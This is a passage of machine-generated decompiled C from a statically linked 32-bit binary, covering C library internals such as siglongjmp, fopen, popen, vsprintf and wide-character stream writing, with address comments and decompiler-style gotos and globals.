(dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = v7; } else { // 0x80a8eb0 __pthread_mutex_unlock_internal(a1); v10 = g99 - 4; g99 = v10; if (result == 0) { v25 = v10; // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = (int32_t *)0x80a8ebf; } // 0x80a8de1 a3->e0 = *(int32_t *)(g102 + 4); a3->e1 = *(int32_t *)(g102 + 8); v23 = g102; v26 = v23 + 16; if (*(char *)v26 != 4) { // 0x80a8f3e v11 = result + 4; g95 = v11 - *(int32_t *)v11; g99 -= 4; get_cie_encoding(a1); v20 = g102; v19 = g95; v17 = (int32_t *)0x80a8f4f; // branch -> 0x80a8e04 } else { v20 = v23; v19 = (int32_t)(*(int16_t *)v26 / 8 % 256); v17 = v16; } // 0x80a8e04 v13 = v19 % 256; g97 = v20; g95 = v13; base_from_object(a1); g96 = result + 8; g95 = v13; read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17); // branch -> 0x80a8e2c // 0x80a8e2c v24 = g100; v21 = (int32_t)(int32_t *)0x80a8e10; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return result; } } // 0x80a8e4a v18 = v7; // branch -> 0x80a8e4a lab_0x70f6500: while (true) { // 0x80a8e4a v12 = (int32_t *)(g98 + 0x796c); v27 = *v12; g102 = v27; if (v27 != 0) { goto lab_0x7075690; } v22 = v9; v15 = v18; result = 0; lab_0x69efcc0: // 0x80a8dcb if (v6 == 0) { // 0x80a8dd6 if (result == 0) { // 0x80a8dd6 v25 = g99; // branch -> 0x80a8ecd // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = v15; } else { // 0x80a8eb0 __pthread_mutex_unlock_internal(a1); v10 = g99 - 4; g99 = v10; if (result == 0) { v25 = v10; // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = (int32_t *)0x80a8ebf; } // 0x80a8de1 a3->e0 = *(int32_t *)(g102 + 4); a3->e1 = *(int32_t *)(g102 + 8); v23 = g102; v26 = v23 + 16; if (*(char *)v26 != 4) { // 0x80a8f3e v11 = result + 4; g95 = v11 - *(int32_t *)v11; g99 -= 4; get_cie_encoding(a1); v20 = g102; v19 = g95; v17 = (int32_t *)0x80a8f4f; // branch -> 0x80a8e04 } else { v20 = v23; v19 = (int32_t)(*(int16_t *)v26 / 8 % 256); v17 = v16; } // 0x80a8e04 v13 = v19 % 256; g97 = v20; g95 = v13; base_from_object(a1); g96 = result + 8; g95 = v13; read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17); // branch -> 0x80a8e2c // 0x80a8e2c v24 = g100; v21 = (int32_t)(int32_t *)0x80a8e10; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return result; } } // Address range: 0x80aa034 - 0x80aa06f int32_t __libc_siglongjmp(int32_t a1, int32_t a2, int32_t a3, int32_t a4) { // 0x80aa034 g101 = a1; g98 = a2; int32_t v1 = a1; // bp-20 _longjmp_unwind(); g97 = a1; int32_t v2 = *(int32_t *)(g101 + 24); // 0x80aa048 g95 = v2; if (v2 != 0) { int32_t v3 = g101 + 28; // 0x80aa05e g95 = v3; sigprocmask(SIG_SETMASK, &v3, &g2->e0); // branch -> 0x80aa04f } int32_t v4 = g98; // 0x80aa04f int32_t val = v4; // 0x80aa055 if (v4 == 0) { // 0x80aa053 g98 = 1; val = 1; // branch -> 0x80aa055 } // 0x80aa055 v1 = g101; longjmp(&v1, val); // UNREACHABLE } // Address range: 0x80aa08c - 0x80aa217 int32_t _longjmp_unwind(void) { // 0x80aa08c return 0; } // Address range: 0x80abf24 - 0x80ac15b int32_t __correctly_grouped_prefixmb(uint32_t result3, int32_t result, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) { int32_t v1 = g102; // 0x80abf27 int32_t v2 = g101; // 0x80abf28 int32_t v3 = g98; // 0x80abf29 g95 = a4; int32_t v4; int32_t v5; int32_t v6; if (a4 == 0) { // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result; } // 0x80abf38 g95 = 0; int32_t len = strlen((char *)&a3); // 0x80abf43 g96 = len; int32_t result4; if (result > result3) { int32_t v7 = len; // 0x80ac10d119 int32_t v8 = len; // 0x80ac14084 int32_t result2 = result; // 0x80abf5a // branch -> 0x80abf5a lab_0x714dbb0: while (true) { int32_t v9 = result2 - 1; // 0x80abf5a if (v9 >= result3) { unsigned char v10 = *(char *)a3; // 0x80abf6c int32_t v11 = v10; // 0x80abf6c int32_t v12 = v9 + len; // 0x80abf71 int32_t v13 = v12 & -256; // 0x80abf7b int32_t v14 = v11 | v13; // 0x80abf7b g95 = v12; int32_t v15 = v12 - 1; // 0x80abf80 int32_t v16 = 0; // 0x80abf88134 int32_t v17 = v12; // 0x80abfb5 int32_t v18 = v7; // 0x80ac10d118 int32_t v19 = v8; // 0x80ac14083 int32_t v20 = v9; // 0x80ac037 int32_t v21; // 0x80ac10d117 int32_t v22; // 0x80ac14082 int32_t v23; // 0x80abfa7 if ((int32_t)*(char *)v15 != v14) { int32_t v24 = v7; // 0x80ac10d102 int32_t v25 = v8; // 0x80ac14067 int32_t v26 = v14; // 0x80abf98 int32_t v27 = v12; // 0x80abf89 int32_t v28 = 0; // 0x80abf88 // branch -> 0x80abf88 while (true) { lab_0x8bc0f50:; int32_t v29 = v28 - 1; // 0x80abf88 int32_t v30 = v27 - 1; // 0x80abf89 int32_t v31 = v29 + v9; // 0x80abf8d if (v31 < result3) { // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result2; } int32_t v32 = v26 & -256 | v11; // 0x80abf98 g95 = v12; if ((int32_t)*(char *)(v29 + v15) == v32) { v16 = v29; v17 = v30; v18 = v24; v19 = v25; v20 = v31; // break -> 0x80abfa4 break; } v26 = v32; v27 = v30; v28 = v29; // continue -> 0x80abf88 } // 0x80abfa4 v23 = (int32_t)*(char *)(a3 + 1) | v13; g95 = v23; v21 = v18; v22 = v19; int32_t v33; // 0x80abfd3 int32_t v34; // 0x80abfdb if (v23 != 0) { lab_0x711e160: // 0x80abfae if (v23 == (int32_t)*(char *)(v17 - 2)) { // 0x80abfb3 g96 = a3; int32_t v35 = v17; // 0x80abfc0 int32_t v36 = v23; // 0x80abfc6 int32_t v37 = a3; // 0x80abfbf // branch -> 0x80abfc6 int32_t v38; // 0x80abfc0 while (true) { unsigned char v39 = *(char *)(v37 + 2); // 0x80abfc6 int32_t v40 = v36 & -256; // 0x80abfc6 if (((int32_t)v39 || v40) != 0) { int32_t v41 = (int32_t)*(char *)(v35 - 3) | v40; // 0x80abfbc g95 = v41; int32_t v42 = v37 + 1; // 0x80abfbf g96 = v42; v38 = v35 - 1; if ((int32_t)v39 != v41) { v24 = v42; v25 = v42; // break -> 0x80abf88 break; } v35 = v38; v36 = v41; v37 = v42; // continue -> 0x80abfc6 continue; } } // 0x80abf88 v26 = v38; v27 = v17; v28 = v16; // branch -> 0x80abf88 goto lab_0x8bc0f50; } else { v24 = v18; v25 = v19; // 0x80abf88 v26 = a3; v27 = v17; v28 = v16; // branch -> 0x80abf88 goto lab_0x8bc0f50; } // 0x80abfd0 v33 = result2 - v20; char * v43; // 0x80abfd8_0 char v44 = *v43; // 0x80abfd8 v34 = (int32_t)v44 + 1; g95 = v34; int32_t v45; int32_t v46; // 0x80ac10d103 int32_t v47; // 0x80ac14068 if (v33 == v34) { lab_0x8bc10d0:; int32_t v48 = v20 - 1; // 0x80ac03d int32_t v49 = v21; // 0x80ac10d116 int32_t v50 = v22; // 0x80ac14081 int32_t v51 = v48; // 0x80ac11b11 // branch -> 0x80ac04c while (true) { lab_0xe7fe190:; int32_t v52 = a4 + 1; // 0x80ac04c int32_t v53; // 0x80ac09c int32_t v54; // 0x80ac072 int32_t v55; // 0x80ac0bd unsigned char v56; // 0x80ac059 unsigned char v57; // 0x80ac0a8 int32_t v58; // 0x80ac095 int32_t v59; // 0x80ac0d814 int32_t v60; // 0x80ac0d816 int32_t v61; // 0x80ac059 int32_t v62; // 0x80ac0a8 int32_t v63; // 0x80ac00853 int32_t v64; // 0x80ac00854 int32_t v65; // 0x80ac00855 int32_t v66; // 0x80ac10d109 int32_t v67; // 0x80ac10d113 int32_t v68; // 0x80ac10d114 int32_t v69; // 0x80ac14074 int32_t v70; // 0x80ac14078 int32_t v71; // 0x80ac14079 if (*(char *)v52 == 0) { int32_t v72 = v49; // 0x80ac10d115 int32_t v73 = v50; // 0x80ac14080 int32_t v74 = a4; // 0x80ac0a6 int32_t v75 = v51; // 0x80ac11b10 lab_0x7121cd0: // 0x80ac0a6 v57 = *(char *)v74; v62 = (int32_t)v57 | v74 & -256; if (v62 != 127) { v66 = v72; v69 = v73; v59 = v74; v63 = v74; v54 = v75; lab_0x7144f70: // 0x80ac062 if (0x1000000 * v62 >= 0) { // 0x80ac066 int32_t v76; int32_t v77; // 0x80ac10d105 int32_t v78; // 0x80ac14070 if (v54 < result3) { lab_0x7123b80: // 0x80ac155 v77 = v66; v78 = v69; v76 = 0; // branch -> 0x80ac120 lab_0x1c946f30:; int32_t v79 = v57; // 0x80ac120 g95 = v79; if (v79 >= v76) { // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result2; } } else { lab_0xafb9960:; int32_t v80 = v54 + len; // 0x80ac074 int32_t v81; // 0x80ac095 int32_t v82; // 0x80ac10d108 int32_t v83; // 0x80ac14073 if (v10 == 0) { // 0x80ac080 v82 = v66; v81 = v54; v83 = v69; // branch -> 0x80ac085 } else { int32_t v84 = v54; // 0x80ac104123 int32_t v85 = v54; // 0x80ac0e8 int32_t v86 = v66; // 0x80ac10d107 int32_t v87 = v63; // 0x80ac0f2 int32_t v88 = v69; // 0x80ac14072 // branch -> 0x80ac0f2 int32_t v89; // 0x80ac0e8 int32_t v90; // 0x80ac10d106 int32_t v91; // 0x80ac14071 while (true) { int32_t v92 = v87 & -256 | v11; // 0x80ac0f2 int32_t v93 = v80 - 1; // 0x80ac0f5 int32_t v94 = v84; // 0x80ac104124 v90 = v86; v91 = v88; int32_t v95 = v92; // 0x80ac0f290 if (v92 == (int32_t)*(char *)v93) { int32_t v96 = v84; // 0x80ac104 int32_t v97 = v86; // 0x80ac10d int32_t v98 = v80; // 0x80ac108 int32_t v99 = a3; // 0x80ac107 // branch -> 0x80ac10d while (true) { int32_t v100 = v99 + 1; // 0x80ac10d int32_t v101 = (int32_t)*(char *)v100 | v97 & -256; // 0x80ac10d g96 = v101; if (v101 == 0) { // 0x80ac114 v82 = 0; v81 = v85; v83 = 0; // branch -> 0x80ac085 // 0x80ac085 if (v54 - v81 == (int32_t)v57) { lab_0x712b240: // 0x80ac095 v58 = v81 - 1; v53 = v59 + 1; if (*(char *)v53 == 0) { v72 = v82; v73 = v83; v74 = v59; v75 = v58; goto lab_0x7121cd0; } v68 = v82; v71 = v83; v65 = v59; // 0x80ac056 v56 = *(char *)v53; v61 = (int32_t)v56 | v53 & -256; v67 = v68; v70 = v71; v60 = v53; v64 = v65; v55 = v58; if (v61 != 127) { v66 = v68; v69 = v71; v59 = v53; v63 = v65; v57 = v56; v54 = v58; // 0x80ac062 if (0x1000000 * v61 >= 0) { // 0x80ac066 if (v54 < result3) { goto lab_0x7123b80; } goto lab_0xafb9960; } else { v67 = v66; v70 = v69; v60 = v59; v64 = v63; v55 = v54; } } lab_0x7130200: // 0x80ac0b1 g95 = v55; if (v55 < result3) { // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result2; } lab_0xe7fe3d0:; int32_t v102 = v55 + len; // 0x80ac0bf int32_t v103 = v102 - 1; // 0x80ac00e int32_t v104 = v67; // 0x80ac10d112 int32_t v105 = v70; // 0x80ac14077 int32_t v106 = 0; // 0x80ac018 int32_t v107 = v55; // 0x80ac0d4 int32_t v108 = v64; // 0x80ac008 int32_t v109 = v102; // 0x80ac13c17 // branch -> 0x80ac0ca while (true) { int32_t v110 = v104; // 0x80ac10d111 int32_t v111 = v105; // 0x80ac14076 if (v10 != 0) { // 0x80ac008 g95 = v102; char v112 = *(char *)(v103 + v106); // 0x80ac00e int32_t v113 = v104; // 0x80ac10d110 int32_t v114 = v105; // 0x80ac14075 int32_t v115; // 0x80ac018 int32_t v116; // 0x80ac01f if ((v108 & -256 || v11) == (int32_t)v112) { int32_t v117 = v105; // 0x80ac140 int32_t v118 = v109; // 0x80ac14b int32_t v119 = a3; // 0x80ac14a // branch -> 0x80ac140 int32_t v120; // 0x80ac140 while (true) { int32_t v121 = v119 + 1; // 0x80ac140 v120 = (int32_t)*(char *)v121 | v117 & -256; g96 = v120; if (v120 != 0) { int32_t v122 = (int32_t)*(char *)(v118 - 2) | v102 & -256; // 0x80ac147 g95 = v122; int32_t v123 = v118 - 1; // 0x80ac14b if (v122 != v120) { // break -> 0x80ac018 break; } v117 = v120; v102 = v120; v118 = v123; v119 = v121; // continue -> 0x80ac140 continue; } // 0x80ac0d4 v49 = 0; v50 = 0; a4 = v60; v51 = v107 - 1; // branch -> 0x80ac04c goto lab_0xe7fe190; } // 0x80ac018 v115 = v106 - 1; v116 = v115 + v55; if (v116 < result3) { // break -> 0x80ac02c break; } v104 = v120; v105 = v120; v106 = v115; v107 = v116; v108 = v55; v109--; // continue -> 0x80ac0ca continue; } // 0x80ac018 v115 = v106 - 1; v116 = v115 + v55; if (v116 < result3) { // break -> 0x80ac02c break; } v104 = v113; v105 = v114; v106 = v115; v107 = v116; v108 = v55; v109--; // continue -> 0x80ac0ca continue; } // 0x80ac0d4 v49 = v110; v50 = v111; a4 = v60; v51 = v107 - 1; // branch -> 0x80ac04c goto lab_0xe7fe190; } // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result2; } } else { // 0x80ac104 if (((int32_t)*(char *)(v98 - 2) || v96 & -256) != v101) { // break -> 0x80ac0e8 break; } v96 = v101; v97 = v101; v98--; v99 = v100; // continue -> 0x80ac10d continue; } lab_0x713f6a0: // 0x80ac12c v46 = v82; v47 = v83; v45 = v48; // branch -> 0x80abfe9 lab_0x7140b20: // 0x80abfe9 if (v45 <= result3) { result4 = v45; // break (via goto) -> 0x80abff8 goto lab_0x714e740; } v7 = v46; v8 = v47; result2 = v45; // continue (via goto) -> 0x80abf5a goto lab_0x714dbb0; } // 0x80abff8 if (result4 < result3) { // 0x80abffd g98 = v3; g101 = v2; g102 = v1; return result3; } // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result4; } // 0x80ac0e8 v89 = v85 - 1; if (v89 < result3) { // break -> 0x80ac11b break; } v84 = v94; v85 = v89; v86 = v90; v80 = v93; v87 = v95; v88 = v91; // continue -> 0x80ac0f2 } // 0x80ac11b v77 = v90; v78 = v91; v76 = v54 - v89; // branch -> 0x80ac120 goto lab_0x1c946f30; } // 0x80ac085 if (v54 - v81 == (int32_t)v57) { goto lab_0x712b240; } goto lab_0x713f6a0; } // 0x80ac12c v46 = v77; v47 = v78; v45 = v48; // branch -> 0x80abfe9 goto lab_0x7140b20; } else { v67 = v66; v70 = v69; v60 = v59; v64 = v63; v55 = v54; } } else { v67 = v72; v70 = v73; v60 = v74; v64 = v74; v55 = v75; } } else { v53 = v52; v68 = v49; v71 = v50; v65 = a4; v58 = v51; // 0x80ac056 v56 = *(char *)v53; v61 = (int32_t)v56 | v53 & -256; if (v61 == 127) { v67 = v68; v70 = v71; v60 = v53; v64 = v65; v55 = v58; goto lab_0x7130200; } v66 = v68; v62 = v61; v69 = v71; v59 = v53; v63 = v65; v57 = v56; v54 = v58; goto lab_0x7144f70; } // 0x80ac0b1 g95 = v55; if (v55 >= result3) { goto lab_0xe7fe3d0; } // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result2; } } else { lab_0x7149810: // 0x80abfe2 if (v33 <= v34) { v46 = v21; v47 = v22; v45 = v20; goto lab_0x7140b20; } // 0x80ac037 v46 = v21; v47 = v22; v45 = v34 + v20; // branch -> 0x80abfe9 goto lab_0x7140b20; } // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; int32_t result5; return result5; } lab_0x714ae30: // 0x80abfd0 v33 = result2 - v20; v34 = (int32_t)*(char *)a4 + 1; g95 = v34; if (v33 == v34) { goto lab_0x8bc10d0; } goto lab_0x7149810; } // 0x80abfa4 v23 = (int32_t)*(char *)(a3 + 1) | v13; g95 = v23; if (v23 == 0) { v21 = v18; v22 = v19; goto lab_0x714ae30; } goto lab_0x711e160; } // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result2; } } else { result4 = result; lab_0x714e740: // 0x80abff8 if (result4 < result3) { // 0x80abffd g98 = v3; g101 = v2; g102 = v1; return result3; } } // 0x80ac02c g98 = v4; g101 = v5; g102 = v6; return result4; } // Address range: 0x80ac15c - 0x80ac177 int32_t _IO_printf(char * format, char * a2) { // 0x80ac15c return vfprintf((struct _struct__IO_FILE *)&g18, format, a2); } // Address range: 0x80ac178 - 0x80ac18f void _IO_sprintf(int32_t a1, int32_t a2, int32_t a3) { _IO_vsprintf(&a1, (char *)&a2, (char *)&a3); } // Address range: 0x80ac1a8 - 0x80ac1fb void _IO_sscanf(int32_t a1, int32_t a2) { // 0x80ac1a8 int32_t v1; _IO_vsscanf(a1, a2, v1); } // Address range: 0x80ac1fc - 0x80ac20a int32_t __new_fclose(int32_t * a1) { // 0x80ac1fc g101 = (int32_t)a1; int32_t result = *a1; // 0x80ac205 g95 = result; return result; } // Address range: 0x80ac3d8 - 0x80ac3f4 int32_t _IO_fgets(int32_t a1, int32_t result, int32_t * a3, int32_t a4) { // 0x80ac3d8 g102 = a1; g98 = (int32_t)a3; g95 = result; return result; } // Address range: 0x80ac568 - 0x80ac621 int32_t __fopen_internal(int32_t a1, int32_t a2, int32_t * a3) { int32_t v1 = g101; // 0x80ac56b int32_t * v2 = (int32_t *)v1; // 0x80ac56b_0 int32_t v3 = g98; // 0x80ac56c int32_t * v4 = (int32_t *)v3; // 0x80ac56c_0 __libc_malloc((int32_t *)352, v3, v1); int32_t v5 = g95; // 0x80ac577 g95 = 352; if (v5 == 0) { // 0x80ac5f8 g98 = v3; g101 = v1; return 0; } // 0x80ac57e *(int32_t *)(v5 + 72) = v5 + 152; g98 = v5; int32_t v6 = (int32_t)g2; // 0x80ac59a _IO_no_init((struct struct_131 *)v5, v6, v6, (struct struct_130 *)(v5 + 164), (struct struct_120 *)""); *(int32_t *)(v5 + 148) = 0x8109080; _IO_file_init((struct struct_123 *)v5); int32_t v7 = _IO_file_fopen((int32_t *)g101, &a1, (struct struct_127 *)&a2, (struct struct_125 *)a3, v5); // 0x80ac5b9 int32_t v8 = g101; // 0x80ac60f int32_t result; // 0x80ac5ee if (v7 == 0) { // 0x80ac60f _IO_un_link((char *)v8, g100); int32_t * v9 = (int32_t *)g101; // 0x80ac615_0 free(v9); g98 = 0; g96 = v8; // branch -> 0x80ac5ee // 0x80ac5ee result = g98; g98 = (int32_t)v9; g101 = (int32_t)(int32_t *)v8; return result; } // 0x80ac5c5 if (*(char *)(v8 + 60) == 1) { // 0x80ac5ee result = g98; g98 = (int32_t)v4; g101 = (int32_t)v2; return result; } // 0x80ac5cb if (*(char *)v8 != 8) { int32_t v10 = *(int32_t *)(v8 + 92) < 1 ? 0x8108fc0 : 0x8108de0; *(int32_t *)(v8 + 148) = v10; int32_t v11 = *(int32_t *)(g101 + 88); // 0x80ac5e1 g95 = v11; *(int32_t *)(v11 + 184) = 0x8108de0; // branch -> 0x80ac5ee } // 0x80ac5ee result = g98; g98 = (int32_t)v4; g101 = (int32_t)v2; return result; } // Address range: 0x80ac624 - 0x80ac637 void __new_fopen(int32_t a1, int32_t a2) { // 0x80ac624 __fopen_internal(a1, a2, (int32_t *)1); } // Address range: 0x80acae8 - 0x80acafd int32_t _IO_proc_open(int32_t * a1, int32_t a2, int32_t * a3) { // 0x80acae8 g101 = (int32_t)a3; g98 = 0; return g95; } // Address range: 0x80acd04 - 0x80acd6f int32_t _IO_popen(int32_t a1, int32_t * a2, int32_t a3) { int32_t v1 = g100; // 0x80acd04 int32_t v2 = g98; // 0x80acd07 __libc_malloc((int32_t *)172, v2, v1); int32_t v3 = g95; // 0x80acd12 g98 = v3; if (v3 == 0) { // 0x80acd54 g98 = v2; g100 = v1; return 0; } // 0x80acd19 *(int32_t *)(v3 + 72) = v3 + 160; _IO_init((struct struct_133 *)g98, (int32_t)g2); *(int32_t *)(g98 + 148) = 0x8108d80; _IO_file_init((struct struct_123 *)g98); int32_t v4 = _IO_proc_open((int32_t *)g98, a1, a2); // 0x80acd41 int32_t result = g98; // 0x80acd5b if (v4 != 0) { // 0x80acd4d g98 = v2; g100 = v1; return result; } // 0x80acd5b _IO_un_link((char *)result, v2); free((int32_t *)g98); g98 = v2; g100 = v1; return 0; } // Address range: 0x80ad060 - 0x80ad0df int32_t _IO_vsprintf(int32_t * a1, char * format, char * a3) { struct _struct__IO_FILE * stream = NULL; // bp-172 int32_t v1 = g101; // 0x80ad063 int32_t v2 = g98; // 0x80ad064 g98 = (int32_t)a1; _IO_no_init((struct struct_131 *)stream, 0x8000, -1, (struct struct_130 *)g2, (struct struct_120 *)g2); int32_t v3 = g98; // 0x80ad093 _IO_str_init_static_internal(&stream->e0, (int32_t *)v3, -1, v3); int32_t chars_printed = vfprintf(stream, format, a3); char * v4; char * v5; if (v5 < v4) { // 0x80ad0bf *v5 = 0; g95 = (int32_t)v5 + 1; // branch -> 0x80ad0c9 } else { // 0x80ad0d2 __overflow(stream, (int32_t)g2); g95 = v2; v1 = 0; // branch -> 0x80ad0c9 } // 0x80ad0c9 g98 = v2; g101 = v1; return chars_printed; } // Address range: 0x80ad0e0 - 0x80ad133 int32_t _IO_vsscanf(int32_t a1, int32_t a2, int32_t a3) { struct _struct__IO_FILE * v1 = NULL; // bp-168 _IO_no_init((struct struct_131 *)v1, 0x8000, -1, (struct struct_130 *)g2, (struct struct_120 *)g2); int32_t v2 = (int32_t)g2; // 0x80ad117 _IO_str_init_static_internal(&v1->e0, &a1, v2, v2); return _IO_vfscanf(v1, (char *)&a2, (char *)&a3, &g2->e0); } // Address range: 0x80ad1ec - 0x80ad2fa int32_t _IO_wdo_write(struct struct_121 * a1, int32_t * a2, int32_t * a3) { int32_t v1 = g102; // bp-8 int32_t v2 = g101; // bp-12 struct struct_121 * v3 = (struct struct_121 *)g98; // bp-16 int32_t v4 = (int32_t)a1; // 0x80ad1f5 g98 = v4; int32_t v5 = (int32_t)a2; // 0x80ad1f8 g101 = v5; int32_t v6 = (int32_t)a1->e10; // 0x80ad1fb_0 g96 = (int32_t)a3; int32_t v7; // 0x80ad293_0 int32_t v8; struct struct_121 * v9; int32_t v10; // 0x80ad2c3 int32_t v11; // 0x80ad296 int32_t * v12; // 0x80ad2c9_03 if (a3 == NULL) { v9 = a1; v12 = NULL; // 0x80ad293 v7 = (int32_t)v9->e11; v11 = *(int32_t *)(v7 + 24); v8 = v11; v9->e13 = (int32_t *)v11; a1->e11 = (int32_t *)v8; a1->e12 = (int32_t *)v8; a1->e15 = (int32_t *)v8; a1->e14 = (int32_t *)v8; v10 = v7; if (*(int32_t *)g98 == 514) { // 0x80ad2c3 *(int32_t *)(v10 + 20) = *(int32_t *)(v10 + 28); if (v12 != NULL) { // 0x80ad2d0 g98 = (int32_t)v3; g101 = v2; return -1; } } else { // 0x80ad2af *(int32_t *)(v10 + 20) = v8; if (v12 != NULL) { // 0x80ad2d0 g98 = (int32_t)v3; g101 = v2; return -1; } } // 0x80ad2b9 // branch -> 0x80ad2bb } else { int32_t v13 = *(int32_t *)(v4 + 24); // 0x80ad20c int32_t v14; // 0x80ad246 int32_t v15; // 0x80ad250 struct struct_121 * v16; // 0x80ad260_0 struct struct_121 * v17; int32_t * v18; int32_t v19; int32_t v20; int32_t v21; // 0x80ad23e int32_t v22; // 0x80ad255 int32_t v23; // 0x80ad231 int32_t v24; // 0x80ad234 int32_t v25; // 0x80ad23b int32_t * v26; // 0x80ad243 int32_t v27; // 0x80ad255 int32_t v28; // 0x80ad250 if (v13 == a1->e5) { int32_t v29 = *(int32_t *)(v4 + 16); // 0x80ad218 g97 = v29; int32_t * v30; int32_t v31; int32_t v32; // 0x80ad2319 if (v13 == v29) { // 0x80ad223 v31 = v5; v32 = v4; v30 = v18; // branch -> 0x80ad22e } else { // 0x80ad2dd v1 = v13 - v29; v2 = v29; v3 = a1; if (_IO_do_write(&a1->e0, &v2, &v1) == -1) { // 0x80ad2bb g98 = (int32_t)v3; g101 = v2; return -1; } // 0x80ad2dd // branch -> 0x80ad2ef // 0x80ad2ef v31 = g101; v32 = g98; v30 = (int32_t *)0x80ad2e7; // branch -> 0x80ad22e } // 0x80ad22e v15 = (int32_t)v30; v21 = v31; int32_t v33 = v32; // 0x80ad231 int32_t * v34 = a3; // 0x80ad2c9_04 // branch -> 0x80ad22e while (true) { // 0x80ad22e v23 = *(int32_t *)(v33 + 32); v19 = v23; v17 = a1; v24 = v17->e5; v20 = v24; v25 = (int32_t)v34; v26 = v17->e11; g1 = v26 > (int32_t *)-45; v14 = (int32_t)v26 + 44; g103 = v14 == 0; g95 = v14; g97 = v6; v28 = *(int32_t *)(v6 + 4); ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v28)(v6, v14, v21, 4 * v25 + v21, v15, v24, v23); g102 = g95; v22 = g98; v27 = *(int32_t *)(v22 + 16); g97 = v27; v16 = (struct struct_121 *)(*(int32_t *)(v22 + 20) - v27); v19 = v27; v20 = v22; if (_IO_do_write(&v20, &v19, &v16->e0) == -1) { // 0x80ad2d0 g98 = (int32_t)v3; g101 = v2; return -1; } lab_0x71b1a10: // 0x80ad26e g96 = v15; int32_t v35 = v15 - g101; // 0x80ad273 int32_t v36 = v35 / 4; // 0x80ad277 int32_t * v37 = (int32_t *)(v25 - v36); // 0x80ad27a_3 int32_t v38 = g102; // 0x80ad27d if (v38 == 0) { lab_0x71b39c0: // 0x80ad28c if (v25 != v36) { // 0x80ad22c g101 = v15; v21 = v15; v33 = g98; v34 = v37; // branch -> 0x80ad22e continue; } } else { int32_t v39 = v38 - 1; // 0x80ad281 g102 = v39; if (v39 == 0) { // 0x80ad284 if (v35 >= 4) { goto lab_0x71b39c0; } // 0x80ad293 v9 = a1; v12 = v37; // branch -> 0x80ad293 // 0x80ad293 v7 = (int32_t)v9->e11; v11 = *(int32_t *)(v7 + 24); v8 = v11; v9->e13 = (int32_t *)v11; a1->e11 = (int32_t *)v8; a1->e12 = (int32_t *)v8; a1->e15 = (int32_t *)v8; a1->e14 = (int32_t *)v8; v10 = v7; if (*(int32_t *)g98 == 514) { // 0x80ad2c3 *(int32_t *)(v10 + 20) = *(int32_t *)(v10 + 28); if (v12 != NULL) { // 0x80ad2d0 g98 = (int32_t)v3; g101 = v2; return -1; } } else { // 0x80ad2af *(int32_t *)(v10 + 20) = v8; if (v12 != NULL) { // 0x80ad2d0 g98 = (int32_t)v3; g101 = v2; return -1; } } // 0x80ad2b9 // branch -> 0x80ad2bb // 0x80ad2bb g98 = (int32_t)v3; g101 = v2; return 0; } } // 0x80ad293 v9 = a1; v12 = v37; // branch -> 0x80ad293 // 0x80ad293 v7 = (int32_t)v9->e11; v11 = *(int32_t *)(v7 + 24); v8 = v11; v9->e13 = (int32_t *)v11; a1->e11 = (int32_t *)v8; a1->e12 = (int32_t *)v8; a1->e15 = (int32_t *)v8; a1->e14 = (int32_t *)v8; v10 = v7; if (*(int32_t *)g98 == 514) { // 0x80ad2c3 *(int32_t *)(v10 + 20) = *(int32_t *)(v10 + 28); if (v12 != NULL) { // 0x80ad2d0 g98 = (int32_t)v3; g101 = v2; return -1; } } else { // 0x80ad2af *(int32_t *)(v10 + 20) = v8; if (v12 != NULL) { // 0x80ad2d0 g98 = (int32_t)v3; g101 = v2; return -1; } } // 0x80ad2b9 // branch -> 0x80ad2bb // 0x80ad2bb g98 = (int32_t)v3; g101 = v2; return 0; } } // 0x80ad22e v15 = (int32_t)v18; v21 = v5; // branch -> 0x80ad22e while (true) { // 0x80ad22e v23 = *(int32_t *)(v4 + 32); v19 = v23; v17 = a1; v24 = v17->e5; v20 = v24; v25 = (int32_t)a3; v26 = v17->e11; g1 = v26 > (int32_t *)-45; v14 = (int32_t)v26 + 44; g103 = v14 == 0; g95 = v14; g97 = v6; v28 = *(int32_t *)(v6 + 4); ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v28)(v6, v14, v21, 4 * v25 + v21, v15, v24, v23); g102 = g95; v22 = g98; v27 = *(int32_t *)(v22 + 16); g97 = v27; v16 = (struct struct_121 *)(*(int32_t *)(v22 